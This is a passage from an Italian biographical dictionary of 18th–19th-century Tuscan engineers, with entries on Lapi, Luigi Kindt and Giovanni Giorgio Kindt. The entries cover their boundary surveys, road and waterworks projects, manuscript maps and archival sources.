a Grosseto il 25 maggio 1826, scrisse un Progetto (ASF, Segreteria di Gabinetto Appendice, f. 229) di costruzione di una strada rotabile litoranea da Follonica a Castiglione della Pescaia per il Puntone, di cui si occupò contemporaneamente anche l’ingegnere Roberto Bombicci (Azzari e Rombai, 1986, p. 132).
Nel 1827 si occupò del recupero edilizio delle terme di Roselle, realizzando la Pianta della Fabbrica dei Bagni di Roselle, in occasione di lavori di adeguamento al neo stabilimento, affidati al Lapi dalla Soprintendenza Comunitativa di Grosseto.
Dal 1830 al 1834 lavorò per la Direzione del Corpo degli ingegneri di Acque e Strade ad Arezzo (aveva inoltrato domanda di trasferimento nel compartimento aretino o senese fin dal 14 gennaio 1827); dal 1837 al 1840 fu a Pisa e dal 1841 al 1846 a Firenze.
Dal 1847 al 1860 ricoprì il ruolo di Ingegnere Primo Ispettore addetto alla Direzione Generale dei Lavori d'Acque e Strade e delle Fabbriche Civili dello Stato.
Tra il 1826 e il 1828 collaborò con Inghirami alla costruzione della Carta Geometrica della Toscana inviando carte con lo stato aggiornato della viabilità nella sua articolazione fra strade rotabili, comunali, provinciali, regie.
Tra il 1837 e il 1844 seguì direttamente numerosissimi progetti per conto della Camera di Soprintendenza Comunitativa di Pisa (di cui fu prima sottoispettore e poi ispettore) sia in campo urbanistico-architettonico, sia nel settore della viabilità che in quello del controllo e della manutenzione dei corsi d'acqua e delle aree umide, realizzando diverse rappresentazioni cartografiche (tutta la documentazione è in ASP, Camera di Soprintendenza Comunitativa, ff. 620, 621, 623-624, 654, 718, 728, 783, 864 e 953), in particolare:
i progetti in campo stradale riguardarono: il progetto di un "ponte di materiale" sul torrente Bardine, al passo della Strada Militare di Fivizzano (con l'aiuto ingegnere Antonio Giuliani e l'aspirante ingegnere Tommaso Cantagalli Del Rosso) nel 1837 e nel 1839; la rappresentazione di un tratto della strada di S. Giovanni al Gatano (con l'ingegnere Corrado Puccioni) e la rettificazione e allargamento di un tratto della Strada Regia Livornese (rilevato in tre piante, con l'ingegnere Antonio Piccioli) prima della costruzione di un corpo di fabbricati sul fronte (sempre nel 1837 e poi anche nel 1844); la Strada Provinciale da Sarzana alla Cisa (nel 1838); la Strada Provinciale della Valdera (in 20 disegni tra sezioni e planimetrie, nel 1840);
si occupò anche di rilievi e progetti relativi alla problematica situazione idrografica della Pianura Pisana, rappresentando: il Fiume Arno in funzione della edificabilità di un'area sulla ripa sinistra; e il Fosso Navigante (nel 1837);
alcune rappresentazioni riguardarono lotti di terreno sulla viabilità principale, da edificare (1838 e 1839);
si occupò anche dei lavori relativi allo scolo delle acque di Piazza dei Miracoli a Pisa e di proporre soluzioni in merito ai problemi della Torre pendente, facendo parte di una Commissione appositamente incaricata (oltre al Lapi, Guglielmo Martolini e Ridolfo Castinelli), con redazione per l'occasione di numerose piante e sezioni delle adiacenze del Duomo.
Nel 1860 venne eletto membro del "Consiglio d'Arte".

Produzione scientifica:

Produzione di cartografia manoscritta:
Cartone di 3 piante della nuova strada nel territorio amiatino fra Castel del Piano e il confine della Provincia Inferiore Senese, 1820-21; Tre disegni (con sezioni, pianta e alzato di due ponti) della nuova strada provinciale da Grosseto al Cerro Bucato, con l'aspirante ingegnere Gaetano Galardi, 1829; Planimetria della via e disegno di un ponte da realizzare sulla nuova strada provinciale da Scansano a Manciano, 1828; Pianta del fosso del Chiarone presso Capalbio, 1820; Pianta di un tratto del torrente Gretano presso Paganico, 1824; Pianta della Fabbrica dei Bagni di Roselle, 1827 (ASGr, Ufficio dei Fossi, nn. 70, 170, 390, 472, 549, 551 e 619, e ff. I-IV; Camera di Soprintendenza Comunitativa, nn. 93, 378 e 379, e ff. I-III);
Pianta di un tratto della strada di S. Giovanni al Gatano, con l'ingegnere Corrado Puccioni, 1837; Tre piante per la rettificazione e allargamento di un tratto della Strada Regia Livornese, con l'ingegnere Antonio Piccioli, 1837; Sezioni e planimetrie (20 disegni) della Strada Provinciale della Valdera, 1840; Piante varie di terreni lungo l’Arno e il Fosso Macinante nei pressi di Pisa, 1837 (ASP, Camera di Soprintendenza Comunitativa, ff. 620, 621, 623-624, 654, 718, 728, 783, 864 e 953).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Cartone di 3 piante della nuova strada nel territorio amiatino fra Castel del Piano e il confine della Provincia Inferiore Senese, 1820-21; Tre disegni (con sezioni, pianta e alzato di due ponti) della nuova strada provinciale da Grosseto al Cerro Bucato, con l'aspirante ingegnere Gaetano Galardi, 1829; Planimetria della via e disegno di un ponte da realizzare sulla nuova strada provinciale da Scansano a Manciano, 1828; Pianta del fosso del Chiarone presso Capalbio, 1820; Pianta di un tratto del torrente Gretano presso Paganico, 1824; Pianta della Fabbrica dei Bagni di Roselle, 1827 (ASGr, Ufficio dei Fossi, nn. 70, 170, 390, 472, 549, 551 e 619, e ff. I-IV; Camera di Soprintendenza Comunitativa, nn. 93, 378 e 379, e ff. I-III);
Pianta di un tratto della strada di S. Giovanni al Gatano, con l'ingegnere Corrado Puccioni, 1837; Tre piante per la rettificazione e allargamento di un tratto della Strada Regia Livornese, con l'ingegnere Antonio Piccioli, 1837; Sezioni e planimetrie (20 disegni) della Strada Provinciale della Valdera, 1840; Piante varie di terreni lungo l’Arno e il Fosso Macinante nei pressi di Pisa, 1837 (ASP, Camera di Soprintendenza Comunitativa, ff. 620, 621, 623-624, 654, 718, 728, 783, 864 e 953).

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Kindt, Luigi

Luigi Kindt
N. Firenze 26 dicembre 1762
M.

Relazioni di parentela: Figlio di Giovanni Giorgio. Ebbe cinque figli. L’8 maggio 1827 aveva a carico ancora 3 dei suoi 5 figli, oltre ad una nipote (per le poche notizie sul Kindt, si veda la Memoria che serve a far conoscere i titoli e le epoche degl’impieghi coperti dal defunto Ingegnere Gio. Giorgio e dal suo figlio Luigi Kindt, datata 9 novembre 1825, in ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade, f. 1342, fasc. 1).

Ente/istituzione di appartenenza:
Qualifica: Luigi iniziò la sua carriera di ingegnere negli apparati statali il 7 agosto 1783, allorché fu nominato “aiuto” del padre presso l’Ufficio delle Riformagioni che era addetto alle questioni confinarie. Con rescritto del 4 gennaio 1793 divenne “Ingegnere dei confini” in sostituzione del padre da poco deceduto.

Biografia:
Fece parte di numerose commissioni incaricate dal governo granducale di controllare e porre i termini di confinazione con gli Stati limitrofi, occasioni per le quali redasse diverse piante: come, ad esempio, nel 1789 ca. nel territorio di Sestino-Badia Tedalda al confine con lo Stato Pontificio; e nel 1792 da solo o con gli ingegneri napoletani Giovanni Castelnuovo Landini e Giuseppe Maria Curiel, riguardo a parte o all’insieme del confine controverso fra Granducato e Presidios orbetellani (Principe, 1988, p. 165).
Al primo caso fa riferimento la Pianta dimostrativa l'occupazione fatta da' Regj Presìdj di Napoli in scapito del territorio toscano, 1792 (ASF, Piante moderne dei Confini, XXXVIII, c. 5), il cui significato non è chiaramente comprensibile, dato che non sembra che il confine in quel tratto abbia mai subìto variazioni a vantaggio del Regno di Napoli, come invece lascia capire il titolo della rappresentazione. Al secondo caso appartiene la Pianta del confine giurisdizionale fra i Regj Presìdj dello Stato di Napoli e il Granducato di Toscana per il lago di Burano [...], disegnata nel 1792 dagli ingegneri di ambedue le parti, il Kindt per la Toscana e Gio. Castelnuovo Landini con Giuseppe Maria Curiel per Napoli (ASF, Piante moderne dei Confini, XXXVIII, c. 3, n. 1; ASN, Fondo Piante, cartella 30, nn. 1-5; e ISCAG, XXXVIII.3.1), bella carta manoscritta acquerellata che insieme ad altri 3 disegni sancisce l'accordo generale per la confinazione tra i due Stati, ponendo fine a secolari contestazioni.
Dal 1° marzo 1799 ricoprì la carica di “ingegnere della guardia del fuoco per il Quartiere di S. Croce di Firenze”, posto reso vacante con la morte del Ruggieri.
Con decreto del 6 marzo 1801, sotto il governo francese, fu nominato “ingegnere Geografo” nello Scrittoio Geografico diretto da Giovanni De Baillou, carica che mantenne fino al 7 marzo 1805. Dal 7 marzo 1805 tornò all’impiego ai confini.
Subentrato nuovamente il governo francese in Toscana, fu nominato ingegnere di I classe presso l’Ufficio per il catasto, impegno che mantenne fino alla caduta di Napoleone.
Con rescritto del granduca Ferdinando III del 23 luglio 1814, ebbe l’incarico di Secondo Ingegnere della Camera delle Comunità, con suo interinato al posto di Primo Ingegnere alla morte di Luigi Zocchi (1824).
Nel 1824 costruì il sistema di quattro cateratte sul Canale Usciana a Ponte a Cappiano per difendere la zona umida di Fucecchio dai rigurgiti dell’Arno in piena.
Dal 13 dicembre 1825 all’8 maggio 1827 risulta “Ingegnere Ispettore del Compartimento Fiorentino” nel corpo degli Ingegneri di Acque e Strade.
Fra il 1826 e il 1830 venne nominato nell’alto incarico di "Ispettore" nel Compartimento della Camera Comunitativa di Firenze per la Soprintendenza alla Conservazione del Catasto ed al Corpo degli Ingegneri d'Acque e Strade; sotto di lui operarono diversi tecnici, fra cui si ricorda l'ingegnere pratese Francesco Nistri.
Nel 1828 eseguì il Disegno che rappresenta le due piramidi con loro accessori..., monumento da erigersi in posizione di confine su una grande strada regia (in ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade, f. 1511), sul modello delle piramidi dell'Abetone il cui disegno del 1777 è attribuito allo Ximenes.

Produzione scientifica:

Produzione di cartografia manoscritta:
Piante diverse di territori di confine fra Granducato e Stato della Chiesa facenti parte della raccolta di carte realizzate per la riorganizzazione del sistema doganale, alcune sono "viste e verificate" da Enrico Gavard nel ruolo di aiuto dell'Amministrazione Generale delle Dogane, 1785 (ASF, Piante dell'Amministrazione Generale delle Regie Rendite, n. 129);
Pianta dimostrativa del confine del Granducato di Toscana con gli Stati della Chiesa, Modena e Lucca, da Treppio inclusive fino a Pietrabuona inclusive, per uso delle Dogane di S.A.R.: disegno di una parte del territorio al confine fra Toscana, Lucca, Modena e Bologna, 1785 (ASF, Miscellanea di Piante, n. 75), disegno copiato dall'ingegnere Francesco Fei;
Tre piante di territori al confine fra Toscana e Stato della Chiesa in Romagna, con l'ingegnere Matteo Masotti, 19 agosto 1788 (ASF, Miscellanea di Piante, nn. 54a-c);
Pianta del confine nel territorio di Badia Tedalda e Sestino, 1789 (ASF, Segreteria di Gabinetto, f. 318);
Pianta dimostrativa l'occupazione fatta da' Regj Presìdj di Napoli in scapito del territorio toscano, 1792 (ASF, Piante moderne dei Confini, XXXVIII, c. 5): il significato della carta non è chiaramente comprensibile: infatti, non pare che il confine in quel tratto abbia mai subìto variazioni a vantaggio del Regno di Napoli come invece lascia capire il titolo;
Pianta del confine giurisdizionale fra i Regj Presìdj dello Stato di Napoli e il Granducato di Toscana per il lago di Burano [...], ingegneri Luigi Kindt, per il Granducato, e Giovanni Castelnuovo Landini e Giuseppe Maria Curiel, per il Regno di Napoli, 1792 (ASF, Piante Moderne dei Confini, XXXVIII, c. 3, n. 1; ASN, Fondo Piante, cartella 30, nn. 1-5; e ISCAG, XXXVIII.3.1);
Copia di una pianta (con sezioni) dell'area fra l'Arno e il Padule di Bientina con i corsi della Serezza e del Canale Imperiale, eseguita da Francesco Bombicci e Michele Saverio Flosi nel 1783 e rifatta dal Kindt nel 1806 (ASP, Piante dell'Ufficio Fiumi e Fossi, n. 64) (Barsanti, 1987, p. 157);
Pianta della Tenuta di Valtriano presso Fauglia (Livorno) per risolvere una controversia confinaria con la Comunità e il proprietario della fattoria, 1816 (ASP, Camera di Soprintendenza Comunitativa, f. 27);
Planimetria della via della Lucaia di collegamento fra la Strada Regia Fiorentina e la Strada Regia per la Val di Nievole per lavori di miglioramento, 25 febbraio 1818 (ASP, Camera di Soprintendenza Comunitativa, f. 84);
Progetto per le cateratte di Ponte a Cappiano nel Padule di Fucecchio, 1824;
Piante e profili della nuova strada da Volterra a Livorno passante per Montecatini, copie dei disegni originali eseguiti nel 1824 dagli ingegneri Giuseppe Franchini e Angiolo Bellucci (ASP, Camera di Soprintendenza Comunitativa, f. 189).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Cresti e Zangheri, 1978, p. 126; Rombai e Ciampi, 1979, pp. 200-203; Barsanti e Rombai, 1986, p. 90; Rombai, 1987, pp. 412-413; Cresti, 1987, p. 122; Barsanti, 1987, p. 157; Rombai, Toccafondi e Vivoli, 1987, pp. 84-85 e 96; Principe, 1988, p. 165; Vivoli, 1992, pp. 50-51 e 79-80; Caciagli e Castiglia, 2001, pp. 315, 335 e 389-390; ASF, Piante dell'Amministrazione Generale delle Regie Rendite; ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade; ASF, Miscellanea di Piante; ASF, Segreteria di Gabinetto; ASF, Piante moderne dei Confini; ASN, Fondo Piante; ISCAG; ASP, Piante dell'Ufficio Fiumi e Fossi; ASP, Camera di Soprintendenza Comunitativa.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Kindt, Giovanni Giorgio

Giovanni Giorgio Kindt
N.
M. 1792

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Il 27 luglio 1740 fu nominato “aiuto” ingegnere nella Magistratura dei Capitani di Parte. Nel 1756, con rescritto del 29 settembre, dopo la morte di Luigi Orlandi, fu eletto ingegnere dell’Ufficio dei Nove Conservatori e Ingegnere del Canal Maestro della Valdichiana. Nello stesso anno Kindt ricevette dall’Ufficio dei Nove l’incarico di occuparsi “dell’affare del condotto di Cortona”, ottenendo lire 10 al giorno oltre a vitto ed alloggio (ASF, Consulta poi Regia Consulta, f. 469, cc. 79-80).

Biografia:
Nel 1769 si occupò della questione confinaria fra Granducato, Ducato di Modena e Stato lucchese, redigendo alcune relazioni e cartografie (in ASF, Piante antiche dei confini, 72) (Gallo, 1993, pp. 144 e 182).
Nel 1773, viene definito dal granduca Pietro Leopoldo, fra gli impiegati dell’Archivio delle Decime, “di poca abilità e capacità, vecchio invalido”, e anche “passabile ma caldo, da sopprimersi” (1969, I, p. 82 e 1972, II, p. 241).
Con rescritto del 17 giugno 1776 gli fu destinato in aiuto Neri Zocchi, affinché si rendesse pratico nella questione delle confinazioni giurisdizionali. Con altro rescritto del 18 maggio 1782, “separata dalla Camera la branca dei confini”, fu destinato, sempre con lo Zocchi, ormai pratico in simili operazioni, ad occuparsi esclusivamente dei confini. Dal 7 agosto 1783 ebbe come collaboratore il figlio Luigi, aiuto ingegnere dell’Ufficio Riformagioni e Confini (Rombai, 1987, p. 412; Cresti e Zangheri, 1978, p. 33).
Nel 1778 si occupa del confine tra le comunità di Barberino di Mugello e Vernio, realizzando anche una pianta in collaborazione con l'ingegnere Anton Giuseppe Rossi, il 9 aprile 1778 (ASF, Miscellanea di Piante, n. 17a).
Nel 1787 realizzò un nuovo piano delle Dogane, finalizzato a riorganizzare il sistema e a semplificare l’iter burocratico trasportando tali uffici ai posti di confine ed abolendo tutte le altre eccetto quelle delle città più grandi: allo stesso tempo (Casali et alii, 1985, p. 74).
Nel 1790 il granduca Pietro Leopoldo torna a giudicarlo definendolo, nelle sue Relazioni, ingegnere "di poca abilità e capacità, vecchio invalido" (1969, I, p. 82).
Muore nel 1792 e dal gennaio dell’anno successivo verrà sostituito dal figlio nella carica di Ingegnere dei Confini.
Per le poche notizie sui Kindt, si veda la schematica Memoria che serve a far conoscere i titoli e le epoche degl’impieghi coperti dal defunto Ingegnere Gio. Giorgio e dal suo figlio Luigi Kindt, datata 9 novembre 1825 (ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade, f. 1342, fasc. 1).

Produzione scientifica:

Produzione di cartografia manoscritta:
Planimetria del Palazzo della nobile famiglia Peruzzi nel centro di Firenze, 8 giugno 1771 (ASF, Miscellanea di Piante, n. 471);
Pianta del territorio al confine tra Toscana e Stato della Chiesa nella Podesteria di Galeata, con Gaetano Masotti, 25 agosto 1772 (ASF, Miscellanea di Piante, n. 293bis/r);
Pianta del confine giurisdizionale... fra due comunità nei territori di Montale e Vernio (area montana pistoiese-mugellana), 1776, eseguita per conto dell'Amministrazione delle Riformagioni e Confini (BNCF, Nuove Accessioni, IV, 7);
Prospetto dimostrativo del Cigno, o Ripa sinistra di una parte del Rio, o Fosso di Rimensole, o delle Cottete fino al suo sbocco nel Fiume Setta, 9 aprile 1778 (ASF, Miscellanea di Piante, n. 17a);
Pianta della villa e manifattura ceramica di Doccia a Sesto Fiorentino, 12 settembre 1780 (ASF, Miscellanea di Piante, n. 578).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Pietro Leopoldo, 1969, I, p. 82 e 1972, II, p. 284; Cresti e Zangheri, 1978, pp. 33 e 126; Casali et alii, 1985, p. 74; Rombai, 1987, pp. 412-413; Rombai, Toccafondi e Vivoli, 1987, pp. 64, 279, 363 e 403; Gallo, 1993, pp. 144 e 182; ASF, Consulta poi Regia Consulta; ASF, Piante antiche dei confini; ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade; ASF, Miscellanea di Piante; BNCF, Nuove Accessioni.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci